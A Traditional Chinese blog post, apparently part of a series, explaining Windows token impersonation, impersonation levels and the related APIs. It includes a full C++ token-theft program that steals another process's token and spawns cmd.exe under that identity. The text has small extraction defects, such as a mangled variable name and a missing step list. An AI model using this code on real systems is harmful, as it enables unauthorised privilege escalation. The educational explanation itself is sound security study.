在 Winows 中,Token Impersonate 是將 token 複製一份給別的 thread 使用,該 thread 便可以以 token 中的 security context 進行操作。
使用到的場景會是 client 在使用某個 server 提供的 service 時,會需要 service 以 client 的 security context 存取 service 需要的資源。
在使用 Token 的時候會先需要啟用 Access Rights 才能有特殊操作權限

(ref: https://www.slideshare.net/Shakacon/social-engineering-the-windows-kernel-by-james-forshaw)
在本系列的第一篇有提到 token 只有兩種:Primary Token 和 Impersonation Token。而 Impersonation token 即使在 Impersonate 成功取得 token 後,還是有區分出不同 Impersonation Level 表示該 Impersonation token 的模擬程度。
根據 csandker 的文章,Impersonation Level 由低至高可以分為4種:

(ref: https://www.slideshare.net/Shakacon/social-engineering-the-windows-kernel-by-james-forshaw)
其中 Impersonation 和 Identification 會是後面 Token Impersonate 檢查來判斷該給予何種 Impersonation Level。
接著介紹一些 Token Impersonate 會用到的API。
以下介紹在最一般的情況下,一個 thread 想要 impersonate token 需要用到的 APIs。
DuplicateTokenEx 可以複製現有的 token 並建立一個新的 token,也就是 Impersonate Token。
TokenType 可以是 Primary Token 或 Impersonation Token。
BOOL DuplicateTokenEx(
  [in]           HANDLE                       hExistingToken,
  [in]           DWORD                        dwDesiredAccess,
  [in, optional] LPSECURITY_ATTRIBUTES        lpTokenAttributes,
  [in]           SECURITY_IMPERSONATION_LEVEL ImpersonationLevel,
  [in]           TOKEN_TYPE                   TokenType,
  [out]          PHANDLE                      phNewToken
);
ImpersonateLoggedOnUser 也是 Impersonation Token 會用到的 API,會切換 LoggedOnUser。
BOOL ImpersonateLoggedOnUser(
  [in] HANDLE hToken
);
RevertToSelf 是用來還原 thread 本身 token 有的 security context。
BOOL RevertToSelf();
我們可以從這張圖來認識攻擊者在進行 Token Impersonate 時,需要通過的檢查

這張圖是我在今年的 CYBERSEC 演講中有用到的圖,主要是根據 James Forshaw 的演講修改而成。我新增了左邊的部分是攻擊者會先檢視要攻擊的服務,之後才會檢查是否可以 Token Impersonation
SeTokenCanImpersonate 主要會需要通過以下檢查:
檢查 Token 的 Impersonate Level 是否有 Impersonation Level 以上:
檢查 Token 的 Privilege 是否有 SeImpersonatePrivilege:
檢查 Process 的 Integrity Level 是否大於 Token 的 Integrity Level:
檢查 Process 的 User 是否和 Token 的 User 相同:
[TODO] 還有一些檢查後續會補上 (e.g., capability check, elevation check, session id check)
從圖中也可以看到如果沒有 Impersonate 成功,還是會回傳 Identification Level 的 Impersonation Token。這個 Token 是合法 Token 但是少了許多權限。James Forshaw 的研究也發現這種 Identification Token 還是可以用來通過很多檢查不確實的 API。
以這篇文章 的 sample code 為例,這個 token impersonation 方法很常出現在攻擊的實作。
#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
	HANDLE hToken,          // access token handle
	LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
	BOOL bEnablePrivilege   // to enable or disable privilege
)
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	if (!LookupPrivilegeValue(
		NULL,            // lookup privilege on local system
		lpszPrivilege,   // privilege to lookup
		&luid))        // receives LUID of privilege
	{
		printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
		return FALSE;
	}
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	if (bEnablePrivilege)
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
		tp.Privileges[0].Attributes = 0;
	// Enable the privilege or disable all privileges.
	if (!AdjustTokenPrivileges(
		hToken,
		FALSE,
		&tp,
		sizeof(TOKEN_PRIVILEGES),
		(PTOKEN_PRIVILEGES)NULL,
		(PDWORD)NULL))
	{
		printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
		return FALSE;
	}
	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
	{
		printf("[-] The token does not have the specified privilege. \n");
		return FALSE;
	}
	return TRUE;
}
std::string get_username()
{
	TCHAR username[UNLEN + 1];
	DWORD username_len = UNLEN + 1;
	GetUserName(username, &username_len);
	std::wstring username_w(username);
	std::string username_s(username_w.begin(), username_w.end());
	return username_s;
}
int main(int argc, char** argv) {
	// Print whoami to compare to thread later
	printf("[+] Current user is: %s\n", (get_username()).c_str());
	// Grab PID from command line argument
	char* pid_c = argv[1];
	DWORD PID_TO_IMPERSONATE = atoi(pid_c);
	// Initialize variables and structures
	HANDLE tokenHandle = NULL;
	HANDLE duplicateTokenHandle = NULL;
	STARTUPINFO startupInfo;
	PROCESS_INFORMATION processInformation;
	ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
	ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
	startupInfo.cb = sizeof(STARTUPINFO);
	// Add SE debug privilege
	HANDLE currentTokenHandle = NULL;
	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, ¤tTokenHandle);
	if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
	{
		printf("[+] SeDebugPrivilege enabled!\n");
	}
	// Call OpenProcess(), print return code and error code
	HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
	if (GetLastError() == NULL)
		printf("[+] OpenProcess() success!\n");
	else
	{
		printf("[-] OpenProcess() Return Code: %i\n", processHandle);
		printf("[-] OpenProcess() Error: %i\n", GetLastError());
	}
	// Call OpenProcessToken(), print return code and error code
	BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
	if (GetLastError() == NULL)
		printf("[+] OpenProcessToken() success!\n");
	else
	{
		printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
		printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
	}
	// Impersonate user in a thread
	BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
	if (GetLastError() == NULL)
	{
		printf("[+] ImpersonatedLoggedOnUser() success!\n");
		printf("[+] Current user is: %s\n", (get_username()).c_str());
		printf("[+] Reverting thread to original user context\n");
		RevertToSelf();
	}
	else
	{
		printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
		printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
	}
	// Call DuplicateTokenEx(), print return code and error code
	BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
	if (GetLastError() == NULL)
		printf("[+] DuplicateTokenEx() success!\n");
	else
	{
		printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
		printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
	}
	// Call CreateProcessWithTokenW(), print return code and error code
	BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
	if (GetLastError() == NULL)
		printf("[+] Process spawned!\n");
	else
	{
		printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
		printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
	}
	return 0;
}
步驟可以分為:
以上就是 Token & Object 大致的介紹,下一篇我要介紹的是 User Access Control (UAC)!